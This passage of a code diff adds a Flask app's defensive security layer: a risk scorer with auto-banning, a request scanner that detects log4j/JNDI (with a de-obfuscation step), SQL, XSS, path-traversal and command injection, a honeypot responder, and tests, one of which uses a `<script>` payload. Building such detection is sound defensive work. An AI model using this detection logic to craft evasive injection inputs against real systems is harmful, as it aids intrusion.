+        threat_type: str,
+        score: int,
+        request_path: str = None,
+        payload: str = None,
+    ):
+        """记录威胁事件到数据库，并更新IP/用户风险分"""
+        ip_text = str(ip or "").strip()[:64]
+        user_id_int = int(user_id) if user_id is not None else None
+        threat_type_text = str(threat_type or "").strip()[:64] or "unknown"
+        score_int = max(0, int(score))
+        path_text = str(request_path or "").strip()[:512] if request_path else None
+        payload_text = str(payload or "").strip() if payload else None
+        if payload_text and len(payload_text) > 2048:
+            payload_text = payload_text[:2048]
+
+        now_str = get_cst_now_str()
+
+        ip_ban_action: Optional[_BanAction] = None
+        user_ban_action: Optional[_BanAction] = None
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+
+            cursor.execute(
+                """
+                INSERT INTO threat_events (
+                    threat_type, score, ip, user_id, request_path, value_preview, created_at
+                ) VALUES (?, ?, ?, ?, ?, ?, ?)
+                """,
+                (
+                    threat_type_text,
+                    score_int,
+                    ip_text or None,
+                    user_id_int,
+                    path_text,
+                    payload_text,
+                    now_str,
+                ),
+            )
+
+            update = self._update_scores(cursor, ip_text, user_id_int, score_int, now_str)
+
+            if self.auto_ban_enabled:
+                ip_ban_action, user_ban_action = self._get_auto_ban_actions(
+                    cursor,
+                    ip_text,
+                    user_id_int,
+                    threat_type_text,
+                    score_int,
+                    update,
+                )
+
+            conn.commit()
+
+        if not self.auto_ban_enabled:
+            return
+
+        if ip_ban_action and ip_text:
+            self.blacklist.ban_ip(
+                ip_text,
+                reason=ip_ban_action.reason,
+                duration_hours=ip_ban_action.duration_hours or self.auto_ban_duration_hours,
+                permanent=ip_ban_action.permanent,
+            )
+        if user_ban_action and user_id_int is not None:
+            self.blacklist._ban_user_internal(
+                user_id_int,
+                reason=user_ban_action.reason,
+                duration_hours=user_ban_action.duration_hours or self.auto_ban_duration_hours,
+                permanent=user_ban_action.permanent,
+            )
+
+    def decay_scores(self):
+        """风险分衰减 - 定期调用，降低历史风险分"""
+        now = get_cst_now()
+        now_str = now.strftime("%Y-%m-%d %H:%M:%S")
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+
+            cursor.execute("SELECT ip, risk_score, updated_at, created_at FROM ip_risk_scores")
+            for row in cursor.fetchall():
+                ip = row["ip"]
+                current_score = int(row["risk_score"] or 0)
+                updated_at = row["updated_at"] or row["created_at"]
+                hours = self._hours_since(updated_at, now)
+                if hours <= 0:
+                    continue
+                new_score = self._apply_hourly_decay(current_score, hours)
+                if new_score == current_score:
+                    continue
+                cursor.execute(
+                    "UPDATE ip_risk_scores SET risk_score = ?, updated_at = ? WHERE ip = ?",
+                    (new_score, now_str, ip),
+                )
+
+            cursor.execute("SELECT user_id, risk_score, updated_at, created_at FROM user_risk_scores")
+            for row in cursor.fetchall():
+                user_id = int(row["user_id"])
+                current_score = int(row["risk_score"] or 0)
+                updated_at = row["updated_at"] or row["created_at"]
+                hours = self._hours_since(updated_at, now)
+                if hours <= 0:
+                    continue
+                new_score = self._apply_hourly_decay(current_score, hours)
+                if new_score == current_score:
+                    continue
+                cursor.execute(
+                    "UPDATE user_risk_scores SET risk_score = ?, updated_at = ? WHERE user_id = ?",
+                    (new_score, now_str, user_id),
+                )
+
+            conn.commit()
+
+    def _update_ip_score(self, ip: str, score_delta: int):
+        """更新IP风险分"""
+        ip_text = str(ip or "").strip()[:64]
+        if not ip_text:
+            return
+        delta = int(score_delta)
+        now_str = get_cst_now_str()
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            self._update_scores(cursor, ip_text, None, delta, now_str)
+            conn.commit()
+
+    def _update_user_score(self, user_id: int, score_delta: int):
+        """更新用户风险分"""
+        if user_id is None:
+            return
+        user_id_int = int(user_id)
+        delta = int(score_delta)
+        now_str = get_cst_now_str()
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            self._update_scores(cursor, "", user_id_int, delta, now_str)
+            conn.commit()
+
+    def _update_scores(
+        self,
+        cursor,
+        ip: str,
+        user_id: Optional[int],
+        score_delta: int,
+        now_str: str,
+    ) -> _ScoreUpdateResult:
+        ip_score = 0
+        user_score = 0
+
+        if ip:
+            cursor.execute("SELECT risk_score FROM ip_risk_scores WHERE ip = ?", (ip,))
+            row = cursor.fetchone()
+            current = int(row["risk_score"]) if row else 0
+            ip_score = max(0, min(100, current + int(score_delta)))
+            if row:
+                cursor.execute(
+                    "UPDATE ip_risk_scores SET risk_score = ?, last_seen = ?, updated_at = ? WHERE ip = ?",
+                    (ip_score, now_str, now_str, ip),
+                )
+            else:
+                cursor.execute(
+                    """
+                    INSERT INTO ip_risk_scores (ip, risk_score, last_seen, created_at, updated_at)
+                    VALUES (?, ?, ?, ?, ?)
+                    """,
+                    (ip, ip_score, now_str, now_str, now_str),
+                )
+
+        if user_id is not None:
+            cursor.execute("SELECT risk_score FROM user_risk_scores WHERE user_id = ?", (int(user_id),))
+            row = cursor.fetchone()
+            current = int(row["risk_score"]) if row else 0
+            user_score = max(0, min(100, current + int(score_delta)))
+            if row:
+                cursor.execute(
+                    "UPDATE user_risk_scores SET risk_score = ?, last_seen = ?, updated_at = ? WHERE user_id = ?",
+                    (user_score, now_str, now_str, int(user_id)),
+                )
+            else:
+                cursor.execute(
+                    """
+                    INSERT INTO user_risk_scores (user_id, risk_score, last_seen, created_at, updated_at)
+                    VALUES (?, ?, ?, ?, ?)
+                    """,
+                    (int(user_id), user_score, now_str, now_str, now_str),
+                )
+
+        return _ScoreUpdateResult(ip_score=ip_score, user_score=user_score)
+
+    def _get_auto_ban_actions(
+        self,
+        cursor,
+        ip: str,
+        user_id: Optional[int],
+        threat_type: str,
+        score: int,
+        update: _ScoreUpdateResult,
+    ) -> tuple[Optional["_BanAction"], Optional["_BanAction"]]:
+        ip_action: Optional[_BanAction] = None
+        user_action: Optional[_BanAction] = None
+
+        if threat_type == C.THREAT_TYPE_JNDI_INJECTION:
+            if ip:
+                ip_action = _BanAction(reason="JNDI injection detected", permanent=True)
+            if user_id is not None:
+                user_action = _BanAction(reason="JNDI injection detected", permanent=True)
+            return ip_action, user_action
+
+        if ip and update.ip_score >= 100:
+            ip_action = _BanAction(reason="Risk score reached 100", duration_hours=self.auto_ban_duration_hours)
+        if user_id is not None and update.user_score >= 100:
+            user_action = _BanAction(reason="Risk score reached 100", duration_hours=self.auto_ban_duration_hours)
+
+        if score < self.high_risk_threshold:
+            return ip_action, user_action
+
+        window_start = (get_cst_now() - timedelta(hours=self.high_risk_window_hours)).strftime("%Y-%m-%d %H:%M:%S")
+
+        if ip:
+            cursor.execute(
+                """
+                SELECT COUNT(*) AS cnt
+                FROM threat_events
+                WHERE ip = ? AND score >= ? AND created_at >= ?
+                """,
+                (ip, int(self.high_risk_threshold), window_start),
+            )
+            row = cursor.fetchone()
+            cnt = int(row["cnt"]) if row else 0
+            if cnt >= self.high_risk_permanent_ban_count:
+                ip_action = _BanAction(reason="High-risk threats threshold reached", permanent=True)
+
+        if user_id is not None:
+            cursor.execute(
+                """
+                SELECT COUNT(*) AS cnt
+                FROM threat_events
+                WHERE user_id = ? AND score >= ? AND created_at >= ?
+                """,
+                (int(user_id), int(self.high_risk_threshold), window_start),
+            )
+            row = cursor.fetchone()
+            cnt = int(row["cnt"]) if row else 0
+            if cnt >= self.high_risk_permanent_ban_count:
+                user_action = _BanAction(reason="High-risk threats threshold reached", permanent=True)
+
+        return ip_action, user_action
+
+    def _get_behavior_bonus(self, ip: str, user_id: Optional[int]) -> int:
+        return 0
+
+    def _hours_since(self, dt_str: Optional[str], now) -> int:
+        if not dt_str:
+            return 0
+        try:
+            dt = parse_cst_datetime(str(dt_str))
+        except Exception:
+            return 0
+        seconds = (now - dt).total_seconds()
+        if seconds <= 0:
+            return 0
+        return int(seconds // 3600)
+
+    def _apply_hourly_decay(self, score: int, hours: int) -> int:
+        score_int = max(0, int(score))
+        if score_int <= 0 or hours <= 0:
+            return score_int
+        decayed = int(math.floor(score_int * (0.9**int(hours))))
+        return max(0, min(100, decayed))

security/threat_detector.py

@@ -0,0 +1,316 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+from dataclasses import dataclass
+from typing import Any, Iterable, List, Optional, Tuple
+from urllib.parse import unquote_plus
+
+from . import constants as C
+
+
+@dataclass
+class ThreatResult:
+    threat_type: str
+    score: int
+    field_name: str
+    rule: str = ""
+    matched: str = ""
+    value_preview: str = ""
+
+    def to_dict(self) -> dict:
+        return {
+            "threat_type": self.threat_type,
+            "score": int(self.score),
+            "field_name": self.field_name,
+            "rule": self.rule,
+            "matched": self.matched,
+            "value_preview": self.value_preview,
+        }
+
+
+class ThreatDetector:
+    def __init__(
+        self,
+        *,
+        max_value_length: int = 4096,
+        max_decode_rounds: int = 2,
+    ) -> None:
+        self.max_value_length = max(64, int(max_value_length))
+        self.max_decode_rounds = max(0, int(max_decode_rounds))
+
+    def scan_input(self, value: Any, field_name: str = "value") -> List[ThreatResult]:
+        """扫描单个输入值（支持 dict/list 等嵌套结构）。"""
+        results: List[ThreatResult] = []
+        for sub_field, leaf in self._flatten_value(value, field_name):
+            text = self._stringify(leaf)
+            if not text:
+                continue
+            if len(text) > self.max_value_length:
+                text = text[: self.max_value_length]
+            results.extend(self._scan_text(text, sub_field))
+        results.sort(key=lambda r: int(r.score), reverse=True)
+        return results
+
+    def scan_request(self, request: Any) -> List[ThreatResult]:
+        """扫描整个请求对象（兼容 Flask Request / dict 风格对象）。"""
+        results: List[ThreatResult] = []
+        for field_name, value in self._extract_request_fields(request):
+            results.extend(self.scan_input(value, field_name))
+        results.sort(key=lambda r: int(r.score), reverse=True)
+        return results
+
+    # ==================== Internal scanning ====================
+
+    def _scan_text(self, text: str, field_name: str) -> List[ThreatResult]:
+        hits: List[ThreatResult] = []
+
+        for check in [
+            self._check_jndi_injection,
+            self._check_sql_injection,
+            self._check_xss,
+            self._check_path_traversal,
+            self._check_command_injection,
+        ]:
+            result = check(text)
+            if result:
+                threat_type, score, rule, matched = result
+                hits.append(
+                    ThreatResult(
+                        threat_type=threat_type,
+                        score=int(score),
+                        field_name=field_name,
+                        rule=rule,
+                        matched=matched,
+                        value_preview=self._preview(text),
+                    )
+                )
+
+        return hits
+
+    def _check_jndi_injection(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        # 1) Direct match
+        m = C.JNDI_DIRECT_RE.search(text)
+        if m:
+            return (C.THREAT_TYPE_JNDI_INJECTION, C.SCORE_JNDI_DIRECT, "JNDI_DIRECT", m.group(0))
+
+        # 2) URL-decoded
+        decoded = self._multi_unquote(text)
+        if decoded != text:
+            m2 = C.JNDI_DIRECT_RE.search(decoded)
+            if m2:
+                return (C.THREAT_TYPE_JNDI_INJECTION, C.SCORE_JNDI_DIRECT, "JNDI_DIRECT_URL_DECODED", m2.group(0))
+
+        # 3) Obfuscation patterns (raw/decoded)
+        for candidate, rule in [(text, "JNDI_OBFUSCATED"), (decoded, "JNDI_OBFUSCATED_URL_DECODED")]:
+            m3 = C.JNDI_OBFUSCATED_RE.search(candidate)
+            if m3:
+                return (C.THREAT_TYPE_JNDI_INJECTION, C.SCORE_JNDI_OBFUSCATED, rule, m3.group(0))
+
+        # 4) Try limited de-obfuscation to reveal ${jndi:...}
+        deobf = self._deobfuscate_log4j(decoded)
+        if deobf and deobf != decoded:
+            m4 = C.JNDI_DIRECT_RE.search(deobf)
+            if m4:
+                return (C.THREAT_TYPE_JNDI_INJECTION, C.SCORE_JNDI_OBFUSCATED, "JNDI_DEOBFUSCATED", m4.group(0))
+
+        # 5) Nested expression heuristic
+        for candidate in [text, decoded]:
+            m5 = C.NESTED_EXPRESSION_RE.search(candidate)
+            if m5:
+                return (C.THREAT_TYPE_NESTED_EXPRESSION, C.SCORE_NESTED_EXPRESSION, "NESTED_EXPRESSION", m5.group(0))
+
+        return None
+
+    def _check_sql_injection(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        candidates = [text, self._multi_unquote(text)]
+        for candidate in candidates:
+            m = C.SQLI_UNION_SELECT_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_SQL_INJECTION, C.SCORE_SQL_INJECTION, "SQLI_UNION_SELECT", m.group(0))
+            m = C.SQLI_OR_1_EQ_1_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_SQL_INJECTION, C.SCORE_SQL_INJECTION, "SQLI_OR_1_EQ_1", m.group(0))
+        return None
+
+    def _check_xss(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        candidates = [text, self._multi_unquote(text)]
+        for candidate in candidates:
+            m = C.XSS_SCRIPT_TAG_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_XSS, C.SCORE_XSS, "XSS_SCRIPT_TAG", m.group(0))
+            m = C.XSS_JS_PROTOCOL_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_XSS, C.SCORE_XSS, "XSS_JS_PROTOCOL", m.group(0))
+            m = C.XSS_INLINE_EVENT_HANDLER_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_XSS, C.SCORE_XSS, "XSS_INLINE_EVENT_HANDLER", m.group(0))
+        return None
+
+    def _check_path_traversal(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        decoded = self._multi_unquote(text)
+        candidates = [text, decoded]
+        for candidate in candidates:
+            m = C.PATH_TRAVERSAL_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_PATH_TRAVERSAL, C.SCORE_PATH_TRAVERSAL, "PATH_TRAVERSAL", m.group(0))
+        return None
+
+    def _check_command_injection(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        decoded = self._multi_unquote(text)
+        candidates = [text, decoded]
+        for candidate in candidates:
+            m = C.CMD_INJECTION_SUBSHELL_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_COMMAND_INJECTION, C.SCORE_COMMAND_INJECTION, "CMD_SUBSHELL", m.group(0))
+            m = C.CMD_INJECTION_OPERATOR_WITH_CMD_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_COMMAND_INJECTION, C.SCORE_COMMAND_INJECTION, "CMD_OPERATOR_WITH_CMD", m.group(0))
+        return None
+
+    # ==================== Helpers ====================
+
+    def _preview(self, text: str, limit: int = 160) -> str:
+        s = text.replace("\n", "\\n").replace("\r", "\\r").replace("\t", "\\t")
+        if len(s) <= limit:
+            return s
+        return s[: limit - 3] + "..."
+
+    def _stringify(self, value: Any) -> str:
+        if value is None:
+            return ""
+        if isinstance(value, bytes):
+            try:
+                return value.decode("utf-8", errors="ignore")
+            except Exception:
+                return ""
+        try:
+            return str(value)
+        except Exception:
+            return ""
+
+    def _multi_unquote(self, text: str) -> str:
+        s = text
+        for _ in range(self.max_decode_rounds):
+            try:
+                nxt = unquote_plus(s)
+            except Exception:
+                break
+            if nxt == s:
+                break
+            s = nxt
+        return s
+
+    def _deobfuscate_log4j(self, text: str) -> str:
+        # Replace ${...:-x} with x (including ${::-x}).
+        # This is intentionally conservative to reduce false positives.
+        import re
+
+        s = text
+        pattern = re.compile(r"\$\{[^{}]{0,50}:-([a-zA-Z])\}")
+        for _ in range(3):
+            nxt = pattern.sub(lambda m: m.group(1), s)
+            if nxt == s:
+                break
+            s = nxt
+        return s
+
+    def _flatten_value(self, value: Any, field_name: str) -> Iterable[Tuple[str, Any]]:
+        if isinstance(value, dict):
+            for k, v in value.items():
+                key = self._stringify(k) or "key"
+                sub_name = f"{field_name}.{key}" if field_name else key
+                yield from self._flatten_value(v, sub_name)
+            return
+        if isinstance(value, (list, tuple, set)):
+            for i, v in enumerate(value):
+                sub_name = f"{field_name}[{i}]"
+                yield from self._flatten_value(v, sub_name)
+            return
+        yield (field_name, value)
+
+    def _extract_request_fields(self, request: Any) -> List[Tuple[str, Any]]:
+        # dict-like input (useful for unit tests / non-Flask callers)
+        if isinstance(request, dict):
+            out: List[Tuple[str, Any]] = []
+            for k, v in request.items():
+                out.append((self._stringify(k) or "request", v))
+            return out
+
+        out: List[Tuple[str, Any]] = []
+
+        # path / method
+        for attr_name in ["method", "path", "full_path", "url", "remote_addr"]:
+            try:
+                v = getattr(request, attr_name, None)
+            except Exception:
+                v = None
+            if v:
+                out.append((attr_name, v))
+
+        # args / form (Flask MultiDict)
+        out.extend(self._extract_multidict(getattr(request, "args", None), "args"))
+        out.extend(self._extract_multidict(getattr(request, "form", None), "form"))
+
+        # headers
+        try:
+            headers = getattr(request, "headers", None)
+            if headers is not None:
+                try:
+                    items = headers.items()
+                except Exception:
+                    items = []
+                for k, v in items:
+                    out.append((f"headers.{self._stringify(k)}", v))
+        except Exception:
+            pass
+
+        # cookies
+        try:
+            cookies = getattr(request, "cookies", None)
+            if isinstance(cookies, dict):
+                for k, v in cookies.items():
+                    out.append((f"cookies.{self._stringify(k)}", v))
+        except Exception:
+            pass
+
+        # json body
+        data = None
+        try:
+            get_json = getattr(request, "get_json", None)
+            if callable(get_json):
+                data = get_json(silent=True)
+        except Exception:
+            data = None
+
+        if data is not None:
+            for name, v in self._flatten_value(data, "json"):
+                out.append((name, v))
+            return out
+
+        # raw body (as a fallback)
+        try:
+            get_data = getattr(request, "get_data", None)
+            if callable(get_data):
+                raw = get_data(cache=True, as_text=True)
+                if raw:
+                    out.append(("body", raw))
+        except Exception:
+            pass
+
+        return out
+
+    def _extract_multidict(self, md: Any, prefix: str) -> List[Tuple[str, Any]]:
+        out: List[Tuple[str, Any]] = []
+        if md is None:
+            return out
+        try:
+            items = md.items(multi=True)
+        except Exception:
+            try:
+                items = md.items()
+            except Exception:
+                return out
+        for k, v in items:
+            out.append((f"{prefix}.{self._stringify(k)}", v))
+        return out

tests/test_admin_security_api.py

@@ -0,0 +1,249 @@
+from __future__ import annotations
+
+from datetime import timedelta
+
+import pytest
+from flask import Flask
+
+import db_pool
+from db.schema import ensure_schema
+from db.utils import get_cst_now
+from security.blacklist import BlacklistManager
+from security.risk_scorer import RiskScorer
+
+
+@pytest.fixture()
+def _test_db(tmp_path):
+    db_file = tmp_path / "admin_security_api_test.db"
+
+    old_pool = getattr(db_pool, "_pool", None)
+    try:
+        if old_pool is not None:
+            try:
+                old_pool.close_all()
+            except Exception:
+                pass
+        db_pool._pool = None
+        db_pool.init_pool(str(db_file), pool_size=1)
+
+        with db_pool.get_db() as conn:
+            ensure_schema(conn)
+
+        yield db_file
+    finally:
+        try:
+            if getattr(db_pool, "_pool", None) is not None:
+                db_pool._pool.close_all()
+        except Exception:
+            pass
+        db_pool._pool = old_pool
+
+
+def _make_app() -> Flask:
+    from routes.admin_api.security import security_bp
+
+    app = Flask(__name__)
+    app.config.update(SECRET_KEY="test-secret", TESTING=True)
+    app.register_blueprint(security_bp)
+    return app
+
+
+def _login_admin(client) -> None:
+    with client.session_transaction() as sess:
+        sess["admin_id"] = 1
+        sess["admin_username"] = "admin"
+
+
+def _insert_threat_event(*, threat_type: str, score: int, ip: str, user_id: int | None, created_at: str, payload: str):
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute(
+            """
+            INSERT INTO threat_events (threat_type, score, ip, user_id, request_path, value_preview, created_at)
+            VALUES (?, ?, ?, ?, ?, ?, ?)
+            """,
+            (threat_type, int(score), ip, user_id, "/api/test", payload, created_at),
+        )
+        conn.commit()
+
+
+def test_dashboard_requires_admin(_test_db):
+    app = _make_app()
+    client = app.test_client()
+
+    resp = client.get("/api/admin/security/dashboard")
+    assert resp.status_code == 403
+    assert resp.get_json() == {"error": "需要管理员权限"}
+
+
+def test_dashboard_counts_and_payload_truncation(_test_db):
+    app = _make_app()
+    client = app.test_client()
+    _login_admin(client)
+
+    now = get_cst_now()
+    within_24h = now.strftime("%Y-%m-%d %H:%M:%S")
+    within_24h_2 = (now - timedelta(hours=1)).strftime("%Y-%m-%d %H:%M:%S")
+    older = (now - timedelta(hours=25)).strftime("%Y-%m-%d %H:%M:%S")
+
+    long_payload = "x" * 300
+    _insert_threat_event(
+        threat_type="sql_injection",
+        score=90,
+        ip="1.2.3.4",
+        user_id=10,
+        created_at=within_24h,
+        payload=long_payload,
+    )
+    _insert_threat_event(
+        threat_type="xss",
+        score=70,
+        ip="2.3.4.5",
+        user_id=11,
+        created_at=within_24h_2,
+        payload="short",
+    )
+    _insert_threat_event(
+        threat_type="path_traversal",
+        score=60,
+        ip="9.9.9.9",
+        user_id=None,
+        created_at=older,
+        payload="old",
+    )
+
+    manager = BlacklistManager()
+    manager.ban_ip("8.8.8.8", reason="manual", duration_hours=1, permanent=False)
+    manager._ban_user_internal(123, reason="manual", duration_hours=1, permanent=False)
+
+    resp = client.get("/api/admin/security/dashboard")
+    assert resp.status_code == 200
+    data = resp.get_json()
+
+    assert data["threat_events_24h"] == 2
+    assert data["banned_ip_count"] == 1
+    assert data["banned_user_count"] == 1
+
+    recent = data["recent_threat_events"]
+    assert isinstance(recent, list)
+    assert len(recent) == 3
+
+    payload_preview = recent[0]["value_preview"]
+    assert isinstance(payload_preview, str)
+    assert len(payload_preview) <= 200
+    assert payload_preview.endswith("...")
+
+
+def test_threats_pagination_and_filters(_test_db):
+    app = _make_app()
+    client = app.test_client()
+    _login_admin(client)
+
+    now = get_cst_now()
+    t1 = (now - timedelta(minutes=1)).strftime("%Y-%m-%d %H:%M:%S")
+    t2 = (now - timedelta(minutes=2)).strftime("%Y-%m-%d %H:%M:%S")
+    t3 = (now - timedelta(minutes=3)).strftime("%Y-%m-%d %H:%M:%S")
+
+    _insert_threat_event(threat_type="sql_injection", score=90, ip="1.1.1.1", user_id=1, created_at=t1, payload="a")
+    _insert_threat_event(threat_type="xss", score=70, ip="2.2.2.2", user_id=2, created_at=t2, payload="b")
+    _insert_threat_event(threat_type="nested_expression", score=80, ip="3.3.3.3", user_id=3, created_at=t3, payload="c")
+
+    resp = client.get("/api/admin/security/threats?page=1&per_page=2")
+    assert resp.status_code == 200
+    data = resp.get_json()
+    assert data["total"] == 3
+    assert len(data["items"]) == 2
+
+    resp2 = client.get("/api/admin/security/threats?page=2&per_page=2")
+    assert resp2.status_code == 200
+    data2 = resp2.get_json()
+    assert data2["total"] == 3
+    assert len(data2["items"]) == 1
+
+    resp3 = client.get("/api/admin/security/threats?event_type=sql_injection")
+    assert resp3.status_code == 200
+    data3 = resp3.get_json()
+    assert data3["total"] == 1
+    assert data3["items"][0]["threat_type"] == "sql_injection"
+
+    resp4 = client.get("/api/admin/security/threats?severity=high")
+    assert resp4.status_code == 200
+    data4 = resp4.get_json()
+    assert data4["total"] == 2
+    assert {item["threat_type"] for item in data4["items"]} == {"sql_injection", "nested_expression"}
+
+
+def test_ban_and_unban_ip(_test_db):
+    app = _make_app()
+    client = app.test_client()
+    _login_admin(client)
+
+    resp = client.post("/api/admin/security/ban-ip", json={"ip": "7.7.7.7", "reason": "test", "duration_hours": 1})
+    assert resp.status_code == 200
+    assert resp.get_json()["success"] is True
+
+    list_resp = client.get("/api/admin/security/banned-ips")
+    assert list_resp.status_code == 200
+    payload = list_resp.get_json()
+    assert payload["count"] == 1
+    assert payload["items"][0]["ip"] == "7.7.7.7"
+
+    resp2 = client.post("/api/admin/security/unban-ip", json={"ip": "7.7.7.7"})
+    assert resp2.status_code == 200
+    assert resp2.get_json()["success"] is True
+
+    list_resp2 = client.get("/api/admin/security/banned-ips")
+    assert list_resp2.status_code == 200
+    assert list_resp2.get_json()["count"] == 0
+
+
+def test_risk_endpoints_and_cleanup(_test_db):
+    app = _make_app()
+    client = app.test_client()
+    _login_admin(client)
+
+    scorer = RiskScorer(auto_ban_enabled=False)
+    scorer.record_threat("4.4.4.4", 44, threat_type="xss", score=20, request_path="/", payload="<script>")
+
+    ip_resp = client.get("/api/admin/security/ip-risk/4.4.4.4")
+    assert ip_resp.status_code == 200
+    ip_data = ip_resp.get_json()
+    assert ip_data["risk_score"] == 20
+    assert len(ip_data["threat_history"]) >= 1
+
+    user_resp = client.get("/api/admin/security/user-risk/44")
+    assert user_resp.status_code == 200
+    user_data = user_resp.get_json()
+    assert user_data["risk_score"] == 20
+    assert len(user_data["threat_history"]) >= 1
+
+    # Prepare decaying scores and expired ban
+    old_ts = (get_cst_now() - timedelta(hours=2)).strftime("%Y-%m-%d %H:%M:%S")
+    with db_pool.get_db() as conn:
+        cursor = conn.cursor()
+        cursor.execute(
+            """
+            INSERT INTO ip_risk_scores (ip, risk_score, last_seen, created_at, updated_at)
+            VALUES (?, 100, ?, ?, ?)
+            """,
+            ("5.5.5.5", old_ts, old_ts, old_ts),
+        )
+        cursor.execute(
+            """
+            INSERT INTO ip_blacklist (ip, reason, is_active, added_at, expires_at)
+            VALUES (?, ?, 1, ?, ?)
+            """,
+            ("6.6.6.6", "expired", old_ts, old_ts),
+        )
+        conn.commit()
+
+    manager = BlacklistManager()
+    assert manager.is_ip_banned("6.6.6.6") is False  # expired already
+
+    cleanup_resp = client.post("/api/admin/security/cleanup", json={})
+    assert cleanup_resp.status_code == 200
+    assert cleanup_resp.get_json()["success"] is True
+
+    # Score decayed by cleanup
+    assert RiskScorer().get_ip_score("5.5.5.5") == 81
+

tests/test_honeypot_responder.py

@@ -0,0 +1,63 @@
+from __future__ import annotations
+
+import uuid
+
+from security import HoneypotResponder
+
+
+def test_should_use_honeypot_threshold():
+    responder = HoneypotResponder()
+    assert responder.should_use_honeypot(79) is False
+    assert responder.should_use_honeypot(80) is True
+    assert responder.should_use_honeypot(100) is True
+
+
+def test_generate_fake_response_email():
+    responder = HoneypotResponder()
+    resp = responder.generate_fake_response("/api/forgot-password")
+    assert resp["success"] is True
+    assert resp["message"] == "邮件已发送"
+
+
+def test_generate_fake_response_register_contains_fake_uuid():
+    responder = HoneypotResponder()
+    resp = responder.generate_fake_response("/api/register")
+    assert resp["success"] is True
+    assert "user_id" in resp
+    uuid.UUID(resp["user_id"])
+
+
+def test_generate_fake_response_login():
+    responder = HoneypotResponder()
+    resp = responder.generate_fake_response("/api/login")
+    assert resp == {"success": True}
+
+
+def test_generate_fake_response_generic():
+    responder = HoneypotResponder()
+    resp = responder.generate_fake_response("/api/tasks/run")
+    assert resp["success"] is True
+    assert resp["message"] == "操作成功"
+
+
+def test_delay_response_ranges():
+    responder = HoneypotResponder()
+
+    assert responder.delay_response(0) == 0
+    assert responder.delay_response(20) == 0
+
+    d = responder.delay_response(21)
+    assert 0.5 <= d <= 1.0
+    d = responder.delay_response(50)
+    assert 0.5 <= d <= 1.0
+
+    d = responder.delay_response(51)
+    assert 1.0 <= d <= 3.0
+    d = responder.delay_response(80)
+    assert 1.0 <= d <= 3.0
+
+    d = responder.delay_response(81)
+    assert 3.0 <= d <= 8.0
+    d = responder.delay_response(100)
+    assert 3.0 <= d <= 8.0
+

tests/test_response_handler.py

@@ -0,0 +1,72 @@
+from __future__ import annotations
+
+import random
+
+import security.response_handler as rh
+from security import ResponseAction, ResponseHandler, ResponseStrategy
+
+
+def test_get_strategy_banned_blocks():
+    handler = ResponseHandler(rng=random.Random(0))
+    strategy = handler.get_strategy(10, is_banned=True)
+    assert strategy.action == ResponseAction.BLOCK
+    assert strategy.delay_seconds == 0
+    assert strategy.message == "访问被拒绝"
+
+
+def test_get_strategy_allow_levels():
+    handler = ResponseHandler(rng=random.Random(0))
+
+    s = handler.get_strategy(0)
+    assert s.action == ResponseAction.ALLOW
+    assert s.delay_seconds == 0
+    assert s.captcha_level == 1
+
+    s = handler.get_strategy(21)
+    assert s.action == ResponseAction.ALLOW
+    assert s.delay_seconds == 0
+    assert s.captcha_level == 2
+
+
+def test_get_strategy_delay_ranges():
+    handler = ResponseHandler(rng=random.Random(0))
+
+    s = handler.get_strategy(41)
+    assert s.action == ResponseAction.DELAY
+    assert 1.0 <= s.delay_seconds <= 2.0
+
+    s = handler.get_strategy(61)
+    assert s.action == ResponseAction.DELAY
+    assert 2.0 <= s.delay_seconds <= 5.0
+
+    s = handler.get_strategy(81)
+    assert s.action == ResponseAction.HONEYPOT
+    assert 3.0 <= s.delay_seconds <= 8.0
+
+
+def test_apply_delay_uses_time_sleep(monkeypatch):
+    handler = ResponseHandler(rng=random.Random(0))
+    strategy = ResponseStrategy(action=ResponseAction.DELAY, delay_seconds=1.234)
+
+    called = {"count": 0, "seconds": None}
+
+    def fake_sleep(seconds):
+        called["count"] += 1
+        called["seconds"] = seconds
+
+    monkeypatch.setattr(rh.time, "sleep", fake_sleep)
+
+    handler.apply_delay(strategy)
+    assert called["count"] == 1
+    assert called["seconds"] == 1.234
+
+
+def test_get_captcha_requirement():
+    handler = ResponseHandler(rng=random.Random(0))
+
+    req = handler.get_captcha_requirement(ResponseStrategy(action=ResponseAction.ALLOW, captcha_level=2))
+    assert req == {"required": True, "level": 2}
+
+    req = handler.get_captcha_requirement(ResponseStrategy(action=ResponseAction.BLOCK, captcha_level=2))
+    assert req == {"required": False, "level": 2}
+

tests/test_risk_scorer.py

@@ -0,0 +1,179 @@
+from __future__ import annotations
+
+from datetime import timedelta
+
+import pytest
+
+import db_pool
+from db.schema import ensure_schema
+from db.utils import get_cst_now
+from security import constants as C
+from security.blacklist import BlacklistManager
+from security.risk_scorer import RiskScorer
+
+
+@pytest.fixture()
+def _test_db(tmp_path):
+    db_file = tmp_path / "risk_scorer_test.db"
+
+    old_pool = getattr(db_pool, "_pool", None)
+    try:
+        if old_pool is not None:
+            try:
+                old_pool.close_all()
+            except Exception:
+                pass
+        db_pool._pool = None
+        db_pool.init_pool(str(db_file), pool_size=1)
+
+        with db_pool.get_db() as conn:
+            ensure_schema(conn)
+
+        yield db_file
+    finally:
+        try:
+            if getattr(db_pool, "_pool", None) is not None:
+                db_pool._pool.close_all()
+        except Exception:
+            pass
+        db_pool._pool = old_pool
+
+
+def test_record_threat_updates_scores_and_combined(_test_db):
+    manager = BlacklistManager()
+    scorer = RiskScorer(blacklist_manager=manager)
+
